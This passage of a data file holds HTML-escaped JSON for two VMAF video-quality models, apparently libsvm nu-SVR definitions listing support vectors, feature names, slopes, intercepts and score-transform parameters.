            100.0
        ],
        &quot;C&quot;: 4.0,
        &quot;nu&quot;: 0.9,
        &quot;gamma&quot;: 0.04
    },
    &quot;model_dict&quot;: {
        &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 262\nrho -2.30449\nSV\n4 1:0.99939284 2:0.050988098 3:0.99999956 4:0.99999701 5:0.9999947 6:0.99999444 \n-4 1:0.99939284 2:0.71982347 3:0.99999932 4:0.99999929 5:0.99999902 6:0.9999986 \n4 1:0.99939284 2:0.066104402 3:0.99999363 4:0.99999023 5:0.9999835 6:0.99998197 \n4 1:0.99939284 2:0.021298217 3:0.99999905 4:0.99999854 5:0.99999742 6:0.9999955 \n-4 1:0.99939284 2:0.4219157 3:1 4:1 5:1 6:1 \n-4 1:0.99939284 2:0.41153394 3:0.99999809 4:0.99999407 5:0.999992 6:0.99999118 \n-4 1:0.99939284 2:0.17755989 3:0.99999975 4:0.99999351 5:0.99998797 6:0.99998744 \n-4 1:0.99939284 2:1 3:0.99999853 4:0.99999797 5:0.99999707 6:0.99999697 \n4 1:0.99939284 2:0.067429096 3:0.99999826 4:0.99999612 5:0.99999354 6:0.99999337 \n-4 1:0.99939284 2:0.41032924 3:0.99999923 4:0.99999861 5:0.99999718 6:0.99999652 \n4 1:0.99939284 2:0.064778982 3:0.99999965 4:0.99999001 5:0.99998599 6:0.99998452 \n4 1:0.99939284 3:0.99999976 4:0.99999986 5:0.99999981 6:0.99999912 \n-4 1:0.99939284 2:0.14610739 3:0.99999926 4:0.99999442 5:0.99999157 6:0.99999139 \n4 1:0.97067067 2:0.050988098 3:0.49543962 4:0.9490745 5:0.97475171 6:0.98472179 \n4 1:0.96418744 2:0.050988098 3:0.46988192 4:0.92383404 5:0.95757873 6:0.97233463 \n4 1:0.9377329 2:0.050988098 3:0.45140723 4:0.91821601 5:0.9544047 6:0.97006662 \n4 1:0.92797904 2:0.050988098 3:0.42756389 4:0.88415491 5:0.92731024 6:0.947393 \n-4 1:0.9116005 2:0.050988098 3:0.4013622 4:0.8417096 5:0.88934565 6:0.91268991 \n4 1:0.90408239 2:0.050988098 3:0.42837654 4:0.89330043 5:0.9381379 6:0.95747194 \n-4 1:0.89392463 2:0.050988098 3:0.40580803 4:0.85450813 5:0.90414358 6:0.92789549 \n-4 1:0.87860187 2:0.050988098 3:0.38181902 4:0.8098155 5:0.86047538 6:0.8864857 \n-4 1:0.84912189 2:0.050988098 3:0.40304721 4:0.85597966 5:0.91737096 6:0.94451916 \n-4 1:0.83864962 2:0.050988098 3:0.38405986 4:0.81919138 5:0.8810097 6:0.9109596 \n-4 1:0.82264009 2:0.050988098 3:0.35981237 4:0.77013967 5:0.82806852 6:0.85777151 \n-4 1:0.72530266 2:0.050988098 3:0.36509103 4:0.7803563 5:0.85121225 6:0.90847043 \n-4 1:0.71395913 2:0.050988098 3:0.35076533 4:0.74960971 5:0.81479928 6:0.86738588 \n-4 1:0.69835377 2:0.050988098 3:0.33114525 4:0.70635463 5:0.76097853 6:0.8040479 \n-4 1:0.57536217 2:0.050988098 3:0.33608994 4:0.71362303 5:0.76736581 6:0.82220476 \n-4 1:0.56279868 2:0.050988098 3:0.3242142 4:0.68621629 5:0.73148001 6:0.77845387 \n-4 1:0.54413788 2:0.050988098 3:0.30829451 4:0.65018018 5:0.68403685 6:0.71900287 \n-4 1:0.44593277 2:0.050988098 3:0.31899854 4:0.67259186 5:0.70967941 6:0.7722768 \n-4 1:0.43671916 2:0.050988098 3:0.30969518 4:0.65136495 5:0.68132238 6:0.73261178 \n-4 1:0.42693909 2:0.050988098 3:0.29609478 4:0.62046105 5:0.64002486 6:0.67430791 \n-4 1:0.86629362 2:0.71982347 3:0.48704318 4:0.79897775 5:0.87428887 6:0.91698512 \n-4 1:0.86629362 2:0.71982347 3:0.48704318 4:0.79897775 5:0.87428887 6:0.91698512 \n-4 1:0.81132964 2:0.71982347 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\n4 1:0.85010476 2:0.41153394 3:0.28280816 4:0.74746763 5:0.83272303 6:0.8801866 \n-4 1:0.81463536 2:0.41153394 3:0.24667002 4:0.67362352 5:0.75792704 6:0.81078305 \n4 1:0.84346189 2:0.41153394 3:0.29695396 4:0.76665422 5:0.85020434 6:0.8951033 \n-4 1:0.81160508 2:0.41153394 3:0.26264354 4:0.69736365 5:0.7831915 6:0.83531288 \n-4 1:0.77231516 2:0.41153394 3:0.22613832 4:0.61849783 5:0.69510002 6:0.74611821 \n-4 1:0.79826801 2:0.41153394 3:0.27610067 4:0.72574042 5:0.81561441 6:0.86703542 \n-4 1:0.76319665 2:0.41153394 3:0.24391634 4:0.65464587 5:0.73815109 6:0.79216889 \n-4 1:0.72069133 2:0.41153394 3:0.20960427 4:0.57721443 5:0.64402187 6:0.68939383 \n-4 1:0.68179043 2:0.41153394 3:0.23792453 4:0.64146311 5:0.729184 6:0.79705189 \n-4 1:0.64834555 2:0.41153394 3:0.21497621 4:0.58612074 5:0.65621763 6:0.70995949 \n-4 1:0.6030635 2:0.41153394 3:0.18639866 4:0.5184118 5:0.56298176 6:0.58999882 \n-4 1:0.56116305 2:0.41153394 3:0.211298 4:0.57777075 5:0.64729662 6:0.70904305 \n-4 1:0.52853073 2:0.41153394 3:0.19342012 4:0.53427881 5:0.58548314 6:0.62583696 \n-4 1:0.49283025 2:0.41153394 3:0.17138706 4:0.48192745 5:0.50981682 6:0.51812264 \n-4 1:0.45849528 2:0.41153394 3:0.1933288 4:0.53432693 5:0.58602965 6:0.63438973 \n-4 1:0.43100316 2:0.41153394 3:0.17890259 4:0.49936733 5:0.53431359 6:0.55603396 \n-4 1:0.39598444 2:0.41153394 3:0.16109051 4:0.45685412 5:0.47167834 6:0.46174802 \n4 1:0.97539925 2:0.067429096 3:0.646082 4:0.95530639 5:0.9767318 6:0.9857173 \n4 1:0.96522613 2:0.067429096 3:0.61691633 4:0.93120782 5:0.96017845 6:0.97392814 \n-4 1:0.95031972 2:0.067429096 3:0.57888699 4:0.89204371 5:0.92938039 6:0.94906265 \n4 1:0.91931216 2:0.067429096 3:0.59158726 4:0.92239172 5:0.95405147 6:0.96924055 \n4 1:0.90510334 2:0.067429096 3:0.5543729 4:0.88103934 5:0.92151244 6:0.94339816 \n-4 1:0.88176654 2:0.067429096 3:0.51021121 4:0.82348961 5:0.87083012 6:0.89896825 \n4 1:0.86485312 2:0.067429096 3:0.5609934 4:0.89174108 5:0.93509159 6:0.95402597 \n-4 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1:0.30717303 2:0.067429096 3:0.36080477 4:0.55822348 5:0.57073663 6:0.59274921 \n4 1:0.93399065 2:0.41032924 3:0.59783417 4:0.84190929 5:0.89750138 6:0.92595957 \n-4 1:0.90595546 2:0.41032924 3:0.52675557 4:0.75232557 5:0.81678388 6:0.85451254 \n4 1:0.86884349 2:0.41032924 3:0.54882568 4:0.79721591 5:0.86027193 6:0.89474014 \n4 1:0.83688316 2:0.41032924 3:0.48353911 4:0.70508019 5:0.770587 6:0.80951258 \n-4 1:0.79909048 2:0.41032924 3:0.42019162 4:0.60634089 5:0.66016059 6:0.69152126 \n4 1:0.81190475 2:0.41032924 3:0.49259836 4:0.7117051 5:0.78203532 6:0.82516406 \n4 1:0.74851584 2:0.41032924 3:0.45030562 4:0.6405497 5:0.71098466 6:0.75519602 \n-0.1291220645620671 1:0.70811815 2:0.41032924 3:0.38732716 4:0.54017845 5:0.59142454 6:0.62173185 \n-4 1:0.65812028 2:0.41032924 3:0.32785534 4:0.44278414 5:0.46803981 6:0.47218162 \n4 1:0.61340029 2:0.41032924 3:0.39943043 4:0.54621466 5:0.59971792 6:0.64499079 \n4 1:0.56718004 2:0.41032924 3:0.34225148 4:0.45255833 5:0.47917361 6:0.49550478 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3:0.86407181 4:0.96026885 5:0.98853248 6:0.99389802 \n-4 1:0.84996215 3:0.86241965 4:0.95421974 5:0.98239426 6:0.99048125 \n-4 1:0.82797239 3:0.85970304 4:0.94347269 5:0.97198968 6:0.98376521 \n-4 1:0.78359349 3:0.85232352 4:0.9205106 5:0.9639259 6:0.98760506 \n-4 1:0.7740968 3:0.85087015 4:0.91651049 5:0.95906687 6:0.98343256 \n-4 1:0.76412341 3:0.84902131 4:0.91055943 5:0.94944204 6:0.97481363 \n-4 1:0.61337431 3:0.83940428 4:0.87369959 5:0.90465003 6:0.96092101 \n-4 1:0.59932186 3:0.83841839 4:0.8712363 5:0.90033732 6:0.95480352 \n-4 1:0.58537358 3:0.83696642 4:0.86758813 5:0.893872 6:0.94383497 \n-3.429005082149631 1:0.42062928 3:0.82941095 4:0.83902061 5:0.84510353 6:0.87138257 \n-4 1:0.4002542 3:0.82840514 4:0.8368136 5:0.84093631 6:0.8674834 \n4 1:0.3094628 3:0.82716541 4:0.83024299 5:0.82796719 6:0.86356706 \n4 1:0.29001316 3:0.82647757 4:0.82867904 5:0.8248098 6:0.86408434 \n4 1:0.27710266 3:0.8257051 4:0.82728426 5:0.82235905 6:0.85969923 \n-4 1:0.90663913 2:0.14610739 3:0.43817477 4:0.82784627 5:0.90710157 6:0.94001176 \n4 1:0.90426096 2:0.14610739 3:0.43326406 4:0.82123487 5:0.9021133 6:0.93612907 \n-4 1:0.87301894 2:0.14610739 3:0.38374963 4:0.74222319 5:0.83336461 6:0.87727214 \n4 1:0.86811426 2:0.14610739 3:0.40559067 4:0.79104253 5:0.88029881 6:0.91964051 \n4 1:0.83600801 2:0.14610739 3:0.36858627 4:0.72304979 5:0.81750507 6:0.86398873 \n-4 1:0.79303316 2:0.14610739 3:0.33543633 4:0.65617509 5:0.74453253 6:0.78951163 \n4 1:0.82226065 2:0.14610739 3:0.37726233 4:0.73857387 5:0.83579524 6:0.88322128 \n-4 1:0.78986743 2:0.14610739 3:0.34480055 4:0.67269731 5:0.7665205 6:0.81617937 \n-4 1:0.74513395 2:0.14610739 3:0.31379389 4:0.60684271 5:0.68827333 6:0.72971662 \n4 1:0.75127417 2:0.14610739 3:0.35645593 4:0.69561666 5:0.79695173 6:0.84926516 \n-4 1:0.66677794 2:0.14610739 3:0.29749496 4:0.56835508 5:0.64245656 6:0.67864295 \n4 1:0.62293836 2:0.14610739 3:0.32749068 4:0.63131327 5:0.72687613 6:0.78818537 \n-4 1:0.58735044 2:0.14610739 3:0.30296925 4:0.57601896 5:0.65321265 6:0.69799032 \n-4 1:0.54225634 2:0.14610739 3:0.27770782 4:0.51923537 5:0.57477828 6:0.59501544 \n4 1:0.47989563 2:0.14610739 3:0.30820332 4:0.58503378 5:0.66456631 6:0.7174928 \n4 1:0.4414077 2:0.14610739 3:0.28822665 4:0.53887566 5:0.59925188 6:0.62987117 \n-4 1:0.39949501 2:0.14610739 3:0.26598279 4:0.48912153 5:0.52873127 6:0.53229307 \n4 1:0.39206975 2:0.14610739 3:0.29566289 4:0.55497136 5:0.62126765 6:0.66418112 \n4 1:0.36544059 2:0.14610739 3:0.2785156 4:0.5155536 5:0.56455807 6:0.58211923 \n&quot;,
        &quot;norm_type&quot;: &quot;linear_rescale&quot;,
        &quot;score_clip&quot;: [
            0.0,
            100.0
        ],
        &quot;feature_names&quot;: [
            &quot;VMAF_integer_feature_adm2_score&quot;,
            &quot;VMAF_integer_feature_motion2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale0_score&quot;,
            &quot;VMAF_integer_feature_vif_scale1_score&quot;,
            &quot;VMAF_integer_feature_vif_scale2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale3_score&quot;
        ],
        &quot;intercepts&quot;: [
            -0.31191973282964003,
            -0.8536192302086182,
            -0.01336836451078975,
            -0.09603743694887917,
            -0.21890356649141152,
            -0.35835059999617175,
            -0.5373563330683786
        ],
        &quot;model_type&quot;: &quot;LIBSVMNUSVR&quot;,
        &quot;slopes&quot;: [
            0.012388059998472608,
            1.853012066458466,
            0.05141551931924402,
            1.0960374437054892,
            1.2189036205165853,
            1.3583508615652835,
            1.5373567703674345
        ],
        &quot;feature_dict&quot;: {
            &quot;VMAF_integer_feature&quot;: [
                &quot;vif_scale0&quot;,
                &quot;vif_scale1&quot;,
                &quot;vif_scale2&quot;,
                &quot;vif_scale3&quot;,
                &quot;adm2&quot;,
                &quot;motion2&quot;
            ]
        }
    }
}  ?L                              {
    &quot;param_dict&quot;: {
        &quot;C&quot;: 4.0,
        &quot;score_transform&quot;: {
            &quot;p2&quot;: -0.00705305,
            &quot;out_gte_in&quot;: &quot;true&quot;,
            &quot;p0&quot;: 1.70674692,
            &quot;p1&quot;: 1.72643844
        },
        &quot;norm_type&quot;: &quot;clip_0to1&quot;,
        &quot;score_clip&quot;: [
            0.0,
            100.0
        ],
        &quot;nu&quot;: 0.9,
        &quot;gamma&quot;: 0.04
    },
    &quot;model_dict&quot;: {
        &quot;slopes&quot;: [
            0.012020766332648465,
            2.8098077502505414,
            0.06264407466686016,
            1.222763456258933,
            1.5360318811084146,
            1.7620864995501058,
            2.08656468286432
        ],
        &quot;score_transform&quot;: {
            &quot;p2&quot;: -0.00705305,
            &quot;out_gte_in&quot;: &quot;true&quot;,
            &quot;p0&quot;: 1.70674692,
            &quot;p1&quot;: 1.72643844
        },
        &quot;feature_opts_dicts&quot;: [
            {
                &quot;adm_enhn_gain_limit&quot;: 1.0
            },
            {},
            {
                &quot;vif_enhn_gain_limit&quot;: 1.0
            },
            {
                &quot;vif_enhn_gain_limit&quot;: 1.0
            },
            {
                &quot;vif_enhn_gain_limit&quot;: 1.0
            },
            {
                &quot;vif_enhn_gain_limit&quot;: 1.0
            }
        ],
        &quot;norm_type&quot;: &quot;linear_rescale&quot;,
        &quot;score_clip&quot;: [
            0.0,
            100.0
        ],
        &quot;feature_names&quot;: [
            &quot;VMAF_integer_feature_adm2_score&quot;,
            &quot;VMAF_integer_feature_motion2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale0_score&quot;,
            &quot;VMAF_integer_feature_vif_scale1_score&quot;,
            &quot;VMAF_integer_feature_vif_scale2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale3_score&quot;
        ],
        &quot;intercepts&quot;: [
            -0.3092981927591963,
            -1.7993968597186747,
            -0.003017198086831897,
            -0.1728125095425364,
            -0.5294309090081222,
            -0.7577185792093722,
            -1.083428597549764
        ],
        &quot;model_type&quot;: &quot;LIBSVMNUSVR&quot;,
        &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.33133\nSV\n-4 1:0.65734273 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.8727433 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.89890005 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.20371751 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.33913836 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.66426757 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.59561632 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.50821444 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.77877298 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.71666017 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.64025669 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.88343983 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n4 1:0.90822691 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n-4 1:0.49037399 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n-4 1:0.69044383 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n-4 1:0.62390093 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.81887942 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.77189471 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.71405433 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.92114073 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n4 1:0.19531482 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.48394064 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.47628079 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.46278632 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.7038079 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n4 1:0.69596686 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n4 1:0.68404358 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.84073022 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n-4 1:0.33900937 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.44593129 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n-4 1:0.67301747 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n-4 1:0.62833533 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.57196879 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n-0.3312466607741135 1:0.75125028 2:0.34681232 3:0.1457048 4:0.75791308 5:0.84155109 6:0.88132116 \n-4 1:0.71121936 2:0.34681232 3:0.12095689 4:0.68834617 5:0.77453583 6:0.81892861 \n-4 1:0.80269544 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.86095387 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.5008963 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.56977992 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.72779828 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.68848569 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.64121401 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.76673633 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.73041172 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.68529047 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.86902267 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.89266106 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 \n-4 1:0.42554844 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.52520274 2:0.48885268 3:0.27824915 4:0.42915458 5:0.50850476 6:0.58585271 \n-4 1:0.69357445 2:0.48885268 3:0.35289928 4:0.61359907 5:0.7217863 6:0.78790011 \n-4 1:0.64679648 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n4 1:0.80595874 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n-4 1:0.7715192 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n4 1:0.82199966 2:0.20629643 3:0.30562098 4:0.80541317 5:0.89285836 6:0.92907353 \n-4 1:0.84774006 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.26631905 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n-4 1:0.65439648 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n4 1:0.55295603 2:0.20629643 3:0.13877412 4:0.4724047 5:0.59295828 6:0.66834832 \n4 1:0.75448924 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.83852041 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.85805266 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.43384835 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 1:0.72588966 2:0.48885268 3:0.35394597 4:0.61189191 5:0.70897304 6:0.77099691 \n-4 1:0.65865915 2:0.20629643 3:0.1796405 4:0.56432133 5:0.68049028 6:0.74616621 \n-4 1:0.53095193 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n-4 1:0.71891465 2:0.15600331 3:0.11085278 4:0.68794624 5:0.80350923 6:0.85660483 \n-4 1:0.68635753 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.64162333 2:0.15600331 3:0.068820233 4:0.51732819 5:0.62198733 6:0.67977328 \n4 1:0.78395225 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.75276337 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n-4 1:0.71345342 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.93500967 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.95150668 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.48148634 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.59853216 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.79297271 2:0.08765484 3:0.5597726 4:0.80653689 5:0.88996341 6:0.92691132 \n-4 1:0.76798941 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.73225133 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.87240592 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n-4 1:0.84834872 2:0.08765484 3:0.58154998 4:0.82429855 5:0.8858516 6:0.91563291 \n-4 1:0.84365382 2:0.93973481 3:0.36718425 4:0.81512123 5:0.88887359 6:0.92320992 \n-4 1:0.89242364 2:0.93973481 3:0.41336953 4:0.88038833 5:0.93688884 6:0.95992879 \n-4 1:0.31373571 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.42490775 2:0.93973481 3:0.20295859 4:0.39290035 5:0.43632323 6:0.45871216 \n-4 1:0.66865444 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n-4 1:0.62642524 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.57430455 2:0.93973481 3:0.23537634 4:0.48984694 5:0.55363885 6:0.5853905 \n-4 1:0.76178555 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.72282163 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.67693861 2:0.93973481 3:0.2669659 4:0.56720118 5:0.63868728 6:0.67673331 \n4 1:0.86023804 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n1.296591709971377 1:0.31779385 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.68317784 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n4 1:0.55611181 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.7772257 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.66186286 2:0.49739676 3:0.30599867 4:0.39201262 5:0.45927759 6:0.51239284 \n4 1:0.94601776 2:0.04579546 3:0.69472114 4:0.97790884 5:0.9891237 6:0.993277 \n4 1:0.98838404 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n4 1:0.30006056 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n-4 1:0.44902891 2:0.04579546 3:0.35412414 4:0.55926446 5:0.70175505 6:0.79649177 \n-4 1:0.69856222 2:0.04579546 3:0.45989947 4:0.82115248 5:0.92520734 6:0.9594384 \n-4 1:0.67730161 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.64419192 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.80781899 2:0.04579546 3:0.52334234 4:0.88859427 5:0.94013924 6:0.95946903 \n-4 1:0.78080761 2:0.04579546 3:0.499439 4:0.84012074 5:0.90229375 6:0.92936693 \n4 1:0.97128596 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.99645027 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.5326065 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.62757004 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.79306842 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n-4 1:0.77722867 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n-4 1:0.75934622 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-4 1:0.8878718 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.88211614 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.83805466 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.86620985 2:0.22767235 3:0.35742938 4:0.89821492 5:0.94339974 6:0.96076173 \n4 1:0.39289606 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.48692411 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.69743918 2:0.22767235 3:0.2263303 4:0.68859985 5:0.78706365 6:0.83662428 \n4 1:0.65237548 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n4 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2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.78054558 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n4 1:0.95353512 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.98368527 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n4 1:0.11318821 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n4 1:0.30298819 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.60614412 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.58738733 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n4 1:0.79496816 2:0.055921852 3:0.42192974 4:0.86711004 5:0.94030868 6:0.96084539 \n4 1:0.77749763 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n4 1:0.75215882 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.89732805 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.9228759 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n4 1:0.19504362 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.34425894 2:0.58937038 3:0.24672569 4:0.24188506 5:0.29544562 6:0.33843061 \n4 1:0.66407117 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.60780044 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n4 1:0.53476258 2:0.58937038 3:0.29851601 4:0.34826788 5:0.42168642 6:0.47203603 \n4 1:0.79195776 2:0.58937038 3:0.47493233 4:0.66775916 5:0.76196439 6:0.81489875 \n4 1:0.7415564 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n4 1:0.82021207 2:1 3:0.37381485 4:0.7891612 5:0.87031145 6:0.90944281 \n-3.795805084530972 1:0.85903236 2:1 3:0.43235998 4:0.86707094 5:0.92632217 6:0.95151451 \n-4 1:0.25243046 2:1 3:0.084027451 4:0.15537936 5:0.17410072 6:0.17212333 \n-4 1:0.35643487 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n-4 1:0.57605414 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n-4 1:0.49071444 2:1 3:0.14452095 4:0.31406915 5:0.38353445 6:0.42653517 \n4 1:0.73255545 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n0.4082706381617505 1:0.67015395 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 